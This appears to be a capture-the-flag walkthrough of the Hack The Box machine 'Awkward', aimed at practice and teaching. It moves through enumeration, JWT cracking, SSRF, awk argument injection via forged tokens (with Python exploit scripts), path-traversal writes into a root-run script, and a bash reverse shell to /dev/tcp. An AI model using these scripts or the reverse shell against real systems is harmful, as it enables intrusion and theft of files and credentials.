Enumeration
NMAP
1
2
3
4
5
6
Nmap scan report for 10.129.45.168
Host is up (0.045s latency).
Not shown: 65514 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
There is nothing much to say here, we have just 2 ports open, so let’s check the webserver on port 80.
Webserver
When browsing to webserver using browser, we’d get redirected to http://hat-valley.htb
so let’s add that to /etc/hosts
. After checking the website, keep proxy open at all times.
After going to hat-valley.htb
Whatweb
Checking the Whatweb
input, we have nginx/1.18.0, Site is running Express.js, JQuery’s version is 3.0.0
Burp - Site Map
When taking a look at Site map, i’ve noticed certain cookie ==> token=guest
. This is something to make a note of!
VHOST - Bruteforce using FFUF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(luka㉿yokai)-[~/htb/boxes/awkward]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://hat-valley.htb -H 'Host: FUZZ.hat-valley.htb' --fs 132
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://hat-valley.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.hat-valley.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 132
________________________________________________
store [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 33ms]
Let’s add store.hat-valley.htb
to /etc/hosts
and check the website.
We need some credentials, which we don’t have.
Linkfinder
I’ve noticed when i tried to use repeater or simply check the source code of the site, that the webpage would not load as Javascript isn’t running. There is where i thought of Linkfinder
which checks javascripts for links and routes in the Javascript files.
And it found some interesting pages, indeed.
So we have hr
, api
, dashboard
,…
Finding hidden dashboard
http://hat-valley.htb/hr
presents another login mask.
What if we change the token from guest to token=admin
?
We get in!
We can try to enter a Leave
but it appears to be a dead end, and requets are ending with 500 Internal Error
.
Finding passwords
Now again in Burp, new site shows up in the api
route
It ends with 500 Internal Error
but after sending it to Repeater and removing the cookie, the contents were shown
Decrypting with Hashcat
Throwing the hashlist into hashcat returned 1 password back
1
2
3
4
5
6
7
8
9
hashcat hashes /Users/cm/Projects/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 1400
.......
Dictionary cache hit:
* Filename..: /Users/cm/Projects/SecLists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
So we have credentials for christopher.jones:chris123
.
Logging in to HR as christopher.jones
So christopher’s credentials work for HR and we can see below that token was generated.
Again checking the Burp’s request, this one stands out:
Exploiting Server-Side Request Forgery (SSRF)
If we change the URL with our own, we can clearly see that we have SSRF vulnerability here.
Let’S try to check the open ports on the localhost
1
wfuzz -c -z range,1-10000 --hh 0 -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2NzI2ODEwfQ.zvrc3itkUEVgwgejeHZpsWGq7fEvz-fPUh5uGuVmI9o" 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ/"'
This looks promising:
Reading the source code on localhost:3002 (api)
I opened the response in browser for better readability!
Method that appears interesting and appears to be vulnerable is the /api/all-leave
.
User in the token seems to be thrown through Bad-character check, however not all signs appear to be on the blacklist.
1
2
3
4
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
...
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
...
Crack that JWT
1
2
3
4
5
6
7
┌──(luka㉿yokai)-[~/htb/boxes/awkward]
└─$ john jwt_enc --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 ASIMD 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123
Apparently takes token
parameter JWT or HR user, which makes exploitation easier.
I’ve written simple program that helped me with debugging. It’s optional and not really needed, but i’d like to mention that ModeJS / ExpressJS app can get running in 15 Minutes or even less.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const cookieParser = require("cookie-parser");
const jwt = require("jsonwebtoken");
const exec = require('child_process').exec;
const app = express()
const port = 3000
app.use(cookieParser());
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.get('/api/all-leave', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
var user = null
var TOKEN_SECRET="123beany123"
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
const badInUser = bad.some(char => user.includes(char));
if(badInUser) {
return res.status(500).send("Bad character detected.")
}
console.log("User: " + user)
console.log("awk '/" + user + "/' /test.csv")
exec("awk '/" + user + "/' /test.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
if(stdout) {
return res.status(200).send(new Buffer(stdout, 'binary'));
}
if (error) {
return res.status(500).send("Failed to retrieve leave requests")
}
if (stderr) {
return res.status(500).send("Failed to retrieve leave requests")
}
})
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
And exploit script. (Target needs to be modified accordingly, same as payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import requests
import jwt
def jwt_inject_command(target,payload,secret):
#encoded_jwt = jwt.encode({secret})
encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
print("Token:" + encoded_jwt)
cookies={
'token':encoded_jwt
}
r = requests.get(target,cookies=cookies)
return r
def main():
if len(sys.argv)!=1:
print("Usage: SCRIPT URL PAYLOAD")
sys.exit(1)
#target = sys.argv[1]
#payload = sys.argv[2]
#target = 'http://hat-valley.htb/api/all-leave'
target= 'http://localhost:3000/api/all-leave'
# Arbitrary read
payload = "/' /etc/hostname '/"
secret="123beany123"
out = jwt_inject_command(target,payload,secret)
print(out.text)
if __name__ == '__main__':
main()
Before automating anything, i’ll just be trying to leak some useful data, simply by exchanging the path above. E.g., /var/www/hat-valley.htb/server/server.js
returns with the source code and SQL Credentials.
Automate SSRF+LFI using Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import requests
import jwt
def jwt_inject_command(target,payload,secret):
#encoded_jwt = jwt.encode({secret})
encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
#print("Token:" + encoded_jwt)
cookies={
'token':encoded_jwt
}
r = requests.get(target,cookies=cookies)
return r
def main():
if len(sys.argv)!=1:
print("Usage: SCRIPT URL PAYLOAD")
sys.exit(1)
#target = sys.argv[1]
#payload = sys.argv[2]
target = 'http://hat-valley.htb/api/all-leave'
secret="123beany123"
#target= 'http://localhost:3000/api/all-leave'
for i in range(100,1000):
# Arbitrary read
payload = "/' /proc/{}/cmdline '/".format(i)
out = jwt_inject_command(target,payload,secret)
if "Failed" not in (out.text):
print("Process found => {}:".format(str(i)) + out.text )
if __name__ == '__main__':
main()
.bashrc
in the /home/bean
, gives us a clue what we should be searching for.
Finding backup script
Checking the /home/bean/Documents/backup_home.sh
it appears that home is being backed up and saved into .tar.gz
.
1
2
3
4
5
6
7
8
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
Getting shell as Bean
This is the script i’ve used to download the tar.gz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import requests
import jwt
def jwt_inject_command(target,payload,secret):
#encoded_jwt = jwt.encode({secret})
encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
#print("Token:" + encoded_jwt)
cookies={
'token':encoded_jwt
}
proxies={
'http': 'http://127.0.0.1:8080'
}
r = requests.get(target,cookies=cookies,proxies=proxies,stream=True)
return r
def main():
if len(sys.argv)!=1:
print("Usage: SCRIPT URL PAYLOAD")
sys.exit(1)
target = 'http://hat-valley.htb/api/all-leave'
secret="123beany123"
payload = "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '/"
out = jwt_inject_command(target,payload,secret)
target_path = 'bkp.tar.gz'
if out.status_code == 200:
with open(target_path, 'wb') as f:
f.write(out.raw.read())
if __name__ == '__main__':
main()
We need to unpack the tar.gz
two times, so output should be in the end as seen below.
Search for bean
using grep
There we have a file ./.config/xpad/content-DS1ZS1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(luka㉿yokai)-[~/htb/boxes/awkward/bkp]
└─$ cat ./.config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold
Credentials above work for SSH!
Privilege Escalation from bean to root
Privilege Escalation is not straightforward at all. We have 2 Users on the box, one is bean
and other one is christine
. I wasn’t really able to find much files/directories owned by christine
and no processes.
PSPY
This looked interesting when running pspy64s
:
It runs as root and it triggers when /var/www/private/leave_requests.csv
changes, which we can control through HR panel!
Store.hat-valley.htb
We can login onto store.hat-valley.htb
using admin:014mrbeanrules!#P
, which is same password that bean
has for SSH access on the Awkward
box.
We can write to two directories:
PHP files will not execute:
If we check the script on the backend - e.g., the cart_actions.php
we would notice that user input goes through system
call 3 times.
1
2
3
4
bean@awkward:/var/www/store$ grep -rnw . -e "system("
./cart_actions.php:38: system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
./cart_actions.php:40: system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
./cart_actions.php:69: system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
The one that we can exploit and make something out of it is the head -2 .... | tail -1
invocation, by rewriting single line of our chosing. This is possible because we control item_id
AND the user_id
.
The way we control those values is a little bit strange, but application reads those from files into which we can write, to cart
and product-details
as seen few screenshots above.
Blacklist does not stop us from path traversing and adding slashes, dots, dashes. For example like this:
We can notice that we’ve successfully written into a file. (mind the head
and tail
, we just append and not rewrite everything).
Observing the pspy64s output, this is the command that fires in the background.
1
sh -c head -2 /var/www/store/product-details/4.txt | tail -1 >> /var/www/store/cart/../../../../../var/www/private/leave_requests.csv
We need SSRF again to check the /var/www/private/leave_results.csv
Script use that will be invoked after inotifywait
fires on modification.
1
2
3
bean@awkward:/tmp$ cat rev.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
Root shell has opened